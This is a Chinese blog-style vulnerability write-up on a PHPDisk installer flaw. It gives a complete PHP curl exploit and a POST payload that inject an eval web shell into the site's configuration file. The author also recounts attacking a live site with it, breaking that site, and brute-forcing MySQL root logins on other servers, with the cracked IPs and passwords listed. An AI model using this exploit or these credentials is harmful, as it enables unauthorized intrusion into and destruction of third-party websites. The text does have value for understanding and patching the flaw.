phpdisk 漏洞发布 phpdisk header bypass & getShell exp解析

所属分类: 网络安全 / 漏洞分析 阅读数: 1318
收藏 0 赞 0 分享
Author:Yaseng Team:CodePlay
1:代码审计
PHPDISK网盘系统是国内使用广泛PHP和MySQL构建的网络硬盘(文件存储管理)系统,笔者对其源码分析中,发现了一个很有意思的东东…..
 
图一
 图一为install下面的index.php,程序安装文件。看上起很正常的代码,当系统安装时,生成一个锁定文件,再次执行install时判断,这里他用了一个Header,而木有exit 。然而php中header 跳转之后代码还是向后执行,可以直接post 数据过去,再来看这个文件 。 


图二
安装流程全部靠$step,而step 又可以靠POST 控制。 继续找可以利用之处

复制代码
代码如下:

$str = "<?php".LF.LF;
$str .= "// This is PHPDISK auto-generated file. Do NOT modify me.".LF.LF;
$str .= "\$configs = array(".LF.LF;
$str .= "\t'dbhost' => '$dbhost',".LF.LF;
$str .= "\t'dbname' => '$dbname',".LF.LF;
$str .= "\t'dbuser' => '$dbuser',".LF.LF;
$str .= "\t'dbpasswd' => '$dbpasswd',".LF.LF;
$str .= "\t'pconnect' => 0,".LF.LF;
$str .= "\t'tpf' => 'pd_',".LF.LF;
$str .= "\t'charset' => '$charset',".LF.LF;
$str .= "\t'debug' => '0',".LF.LF;
$str .= ");".LF.LF;
$str .= "define('ADMINCP','admincp');".LF;
$str .= "?>".LF;
$fp = fopen($config_file,'w');
if (!$fp) {
exit("Can not open file <b>$config_file</b> .");
}
if(is_writable($config_file)){
if(@fwrite($fp,$str)){
$msg .= "<font color=blue>{$config_file} ".__('write_success')."</font>";
}else{
吧post 数据写入配置文件configs.inc.php,可以利用之,继续目测之。
function stripslashes_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = stripslashes_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
if (@get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}

哈哈,为了安装方便,竟然去掉了gpc,这下可以直接写入木马了。
2:漏洞利用& getShell 方法
查找写入配置的地方
 
复制代码
代码如下:

$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());
if(!mysql_select_db($dbname,$_l)){
mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());
}
@mysql_close($_l);
 

验证是否可以连接,错误的数据库信息直接退出哦了,看来不能乱写了,只能在dbpasswd 上面下功夫。
 首先yy一下system 下的configs.inc.php 文件
 'dbpasswd' => '',);?><?php eval($_POST['y']);?>',
就可以直接 菜刀连接之
 
由于没有万恶的gpc 直接POST一个'dbpasswd' = '',);?><?php eval($_POST['y']);?>'
 
也就是此时的密码为: ',);?><?php eval($_POST['y']);?>
 
此时需要post的 数据包为:
 
$pass='\',);?><?php eval($_POST[\'y\']);?>';
 
$data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;
 
当数据库信息正确时,成功写入一句话木马.
 

 
图四
 成功写入shell
 3:getShell exp 编写
 结束yy,我们来用php 中强大的curl exp,前文我们已然构造出post 传送的数据。然后在根据特征检测是否getShell ,具体代码如下(完整exp 见附件)。
 
复制代码
代码如下:

$site = $argv[1]; //传入的 网站
$url= $site."/install/index.php";
$pass='\',);?><?php eval($_POST[\'y\']);?>';
$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; //exploit data
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_POST,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //发送post 数据
$result=curl_exec($ch);
curl_close($ch);
$shell="http://".$site.'/system/configs.inc.php';
if(strpos(@file_get_contents($shell),'pconnect')){ //检测是否成功
echo "Hi guy I get the Shell:".$shell;
}else{
echo "Shit !!! This Site:$site Can not get Shell";
}

4:实战演示
 其实这种拿shell 方式是极其缺德,破坏configs.inc.php,导致全站崩溃,俺找了个比较新的站点(目测没什么人) 主啊 原谅我吧 …… 实战一番.
找外连数据库啊.菜刀里面找了x个shell 皆不能外联,干 向朋友要了个mysql root 爆破工具,爆破了一批root 。
进入数据库成功... 98.126.4.252 root password
进入数据库成功... 98.126.4.253 root password
进入数据库成功... 98.126.4.250 root password
进入数据库成功... 98.126.4.251 root passwd
进入数据库成功... 98.126.4.254 root password
进入数据库成功... 98.126.4.252 root root123456
进入数据库成功... 98.126.4.253 root root123456  
 
 
随便找了个,本地adminer(一个单文件php MySQL管理客户端) 进去改密码,此时发送的data为(如果不行 请大家自行更换可外链的mysql)
 $pass='\',);?><?php eval($_POST[\'y\']);?>';
 $data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;
 Php命令行下执行php phpdisk.php 
 
Done,成功写入,菜刀连接。


 
Ko !!!
 4:总结
 本文是Header直接跳转导致绕过的典型文章,php函数使用强大而简单,同时我们不得不谨慎使用如header,preg_replace,eval 之类的危险函数,以免被非法利用。
更多精彩内容其他人还在看

DEDECMS任意修改文章漏洞(exp)

  这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞!   废话不说   经典对白 看代码!   membersoft_edit.php   01if(empty($dopost)) //如果这里是空也就是直接访问这个文件   02{   03 //读取归档信息  
收藏 0 赞 0 分享

eWebeditor漏洞的修补

  漏洞原理   漏洞的利用原理很简单,请看Upload.asp文件:   任何情况下都不允许上传asp脚本文件   sAllowExt = Replace(UCase(sAllowExt), "ASP", "")   修补方法:用以下语句
收藏 0 赞 0 分享

发掘MaosinCMS网站系统漏洞与测试

  最近的动易CMS漏洞可以说着实火了一把,本文写的CMS虽然没有动易功能强大,但同样存在注入漏洞。这种漏洞用工具是扫不到的,可以说注入已经由显式转为隐式了,必须查看源代码才有可能发现潜在的漏洞。   适合读者:入侵爱好者前置知识:无发掘MaosinCMS网站系统漏
收藏 0 赞 0 分享

关于bo-blog的安全隐患

  bo-blog是一款外观好看,而且当前流行的个人博客系统,在很多下载站你都可以找到这套程序,而且甚至有很多安全界的人都使用着这套php+txt的程序,但是这套程序里有些安全隐患,可能会被人利用去做一些破坏。   首先开门见山,我们说说它的绝对路径暴露问题.......
收藏 0 赞 0 分享

野草weedcmsV5.2.1 任意删除文件漏洞

  member.php   if($action=='edit_member_ok'){ //member.php?action=edit_member_ok   check_request(); //检查来路   if(!check_login()){ //检测是否登录会员
收藏 0 赞 0 分享

EimsCms v5.0 XSS+CSRF获取Shell方法

  影响版本:EimsCms v5.0   官方网站:http://www.eimscms.com/   漏洞类型:跨站XSS   漏洞描述:未对Book.asp邮箱等处进行符号转义,导致XSS跨站执行漏洞。   ------GetShell-----   [1] 在Book.a
收藏 0 赞 0 分享

动易4.03上传漏洞

  动易4.03上传漏洞。2005-1-10 就出来了,一直没有公布。   看黑客防线的攻关第3关用的是动易所有公布出来了。   影响版本: 动易4.03   上面的是动易的上传代码,从上面分析,我们可以看到,它明显存在着上传漏洞。重要的漏洞代   码在于这一句   FileEx
收藏 0 赞 0 分享

利用%5c绕过验证

  说到%5c,你是不是想起了当前流行的那个%5c暴库漏洞,呵呵,本文就是对%5c利用的探索(呵呵,当然有我提出的新东东,或许对你有帮助哦^_^)。   好,我们先追根溯源,找到那个漏洞的老底。看看绿盟2001年的漏洞公告:_bug&do=view&bug_id=
收藏 0 赞 0 分享

DISCUZ X1.5 本地文件包含漏洞

  DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存。   config_global.php   $_config['cache']['type'] = ‘file’;   function cachedata($cachenam
收藏 0 赞 0 分享

PHP在安全方面的另类应用

  1.远程文件   PHP是一门具有丰富特性的语言,它提供了大量函数,使程序员能够方便地实现各种功能,远程文件就是一个很好的例子:   代码      $fp=@Fopen($url,"r") or die ("cannot open $url&q
收藏 0 赞 0 分享
查看更多